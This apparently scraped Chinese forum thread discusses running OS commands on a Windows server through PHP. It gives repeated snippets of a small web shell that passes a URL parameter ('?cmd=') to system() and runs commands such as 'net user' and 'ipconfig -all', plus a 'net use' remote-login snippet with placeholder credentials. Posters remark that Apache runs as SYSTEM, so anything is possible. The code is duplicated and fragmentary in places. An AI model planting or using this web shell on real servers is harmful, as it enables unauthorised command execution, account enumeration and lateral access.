<?php
echo "<pre>";
$cmd="ipconfig -all";
//$cmd=$_GET['cmd'];
$cmd=StripSlashes($cmd);
echo "".$cmd.""; system("$cmd");
echo "</pre>";
?><?php
echo "<pre>";
$cmd="net user";
//$cmd=$_GET['cmd'];
$cmd=StripSlashes($cmd);
echo "".$cmd."";
system("$cmd");
echo "</pre>";
?>
echo "<pre>";
$cmd="ipconfig -all";
//$cmd=$_GET['cmd'];
$cmd=StripSlashes($cmd);
echo "".$cmd.""; system("$cmd");
echo "</pre>";
?><?php
echo "<pre>";
$cmd="net user";
//$cmd=$_GET['cmd'];
$cmd=StripSlashes($cmd);
echo "".$cmd."";
system("$cmd");
echo "</pre>";
?>
执行外部程式。语法: string exec(string command, string [array], int [return_var]);传回值: 字串函式种类: 作业系统与环境-------------------------------------
system
执行外部程式并显示输出资料。语法: string system(string command, int [return_var]);传回值: 字串函式种类: 作业系统与环境
$cmd="net use \\ip地址 /user:用户名 密码";
echo "".$cmd.""; if(system("$cmd"))
echo"登陆成功!";else
echo"登陆失败!";
错误码:parse error
echo "<pre>";
//$cmd="ipconfig -all";
//$cmd=$_GET['cmd'];
$cmd=StripSlashes($cmd);
echo "".$cmd.""; system("$cmd");
echo "</pre>";
?>使用时, http://......./*.php?cmd=dos 命令不是所有的dos命令都能用的 如果这样的话,服务器不挂了.一般情况下服务器会禁用这些函数。php配置在安全模式下也有可能运行失败。
echo `net use...`;``符号所包括的字符串将执行要认真看手册
还有源码是怎样的?,有没有什么前提??
还有源码是怎样的?,有没有什么前提??
期待高手回复!!!!!!
exec不行,可能是配置问题
如果是Apache+PHP并且是在windows系统下的,那么你就爽了,因为apache运行的权限是system,也就是说比administrator的权限都大,那么随便你干点什么都行,呵呵